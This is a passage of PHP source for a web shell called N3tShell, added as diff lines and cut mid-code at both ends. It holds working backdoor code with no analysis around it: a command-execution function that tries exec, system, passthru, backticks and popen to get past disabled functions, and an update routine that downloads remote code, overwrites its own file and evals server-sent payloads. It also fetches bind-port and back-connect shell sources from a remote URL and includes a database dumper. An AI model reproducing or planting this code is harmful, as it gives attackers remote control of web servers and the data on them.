(!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("N3tgetsource")) +{ +function N3tgetsource($fn) +{ + global $N3tsh_sourcesurl; + $array = array( + "N3tsh_bindport.pl" => "N3tsh_bindport_pl.txt", + "N3tsh_bindport.c" => "N3tsh_bindport_c.txt", + "N3tsh_backconn.pl" => "N3tsh_backconn_pl.txt", + "N3tsh_backconn.c" => "N3tsh_backconn_c.txt", + "N3tsh_datapipe.pl" => "N3tsh_datapipe_pl.txt", + "N3tsh_datapipe.c" => "N3tsh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($N3tsh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("N3tsh_getupdate")) +{ +function N3tsh_getupdate($update = TRUE) +{ + $url = $GLOBALS["N3tsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download N3tshell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by N3tShell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"N3tsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.N3tsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("N3tfsearch")) +{ +function N3tfsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {N3tfsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function N3tshexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - N3t</title><STYLE> +TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;} +</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>N3tShell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + + ?> + + <td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = 